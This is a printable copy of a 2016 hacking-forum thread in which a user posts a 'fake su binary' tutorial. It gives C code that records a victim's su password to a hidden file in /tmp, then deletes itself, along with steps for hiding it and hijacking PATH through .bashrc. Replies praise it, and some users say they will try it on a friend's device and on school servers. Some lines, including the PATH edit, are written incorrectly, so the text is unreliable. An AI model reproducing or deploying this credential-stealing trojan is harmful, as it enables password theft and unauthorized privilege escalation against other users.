Tutorial Fake su binary - Printable Version

Tutorial Fake su binary - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Tutorial Fake su binary (/Thread-Tutorial-Fake-su-binary)

Fake su binary - haccur - 05-01-2016

Disclaimer

I am not responsible for how you use this tutorial its was created for educational purposes.

Introduction

Well,imagine you have access to a server with a user account and not is apache/nginx/whatever service nobody uses and the user log in here everyday to manage things.
If you have access to compile tools (problably) does this.

Method
Get into a hidden directory or whatever he don't notice much:

Code:
cd .ssh

Create new file:

Code:
nano lel.c

Paste this code:

Code:
#include <stdio.h>
#include <stdlib.h>
define SU_PASS "/tmp/.rewt"
main (int argc, char *argv[])
{
   char *key;
   char buf[24];
   FILE *fd;

   key = (char *)getpass ("Password:");
   fd = fopen(SU_PASS,"w");
   fprintf(fd, "pass: %s\n", key);
   fclose(fd);
   printf ("su: incorrect password\n");
   sprintf(buf, "rm %s", argv[0]);
   system(buf);
   exit (1);
}

Compile it:

Code:
gcc lel.c -o penis

Now edit .bashrc with nano or something and find PATH=/...

Code:
nano .bashrc

And add the executable to PATH=/...

Code:
PATH=./penis/bin/:/sbin/

And that's all.

What this method does

When he type su root the PATH execute your binary instead of the real su so you log the password he introduce into /tmp/.rewt so just wait a little the user log into it and type su root and you can log it.

I know this method is very old

Thanks for reading.

RE: Fake su binary - meow - 05-01-2016

Nice. Oldie but goldie.

RE: Fake su binary - m0dem - 05-02-2016

Thanks for sharing.

But how do you have access to their .bashrc file? (in their homedir)

RE: Fake su binary - Pikami - 05-04-2016

Wow! Nice, I have access to my friends raspberry pi and I will attempt this

RE: Fake su binary - -nameless - 05-04-2016

(05-04-2016, 11:07 AM)Pikami Wrote: Wow! Nice, I have access to my friends raspberry pi and I will attempt this

Do it in Python. Much easier and simpler.

RE: Fake su binary - insidious - 05-04-2016

Contemplated doing this on my school servers. I'd probably be caught, but I have definitely bookmarked this post. First chance I get, I'm using it. i want to see this in action!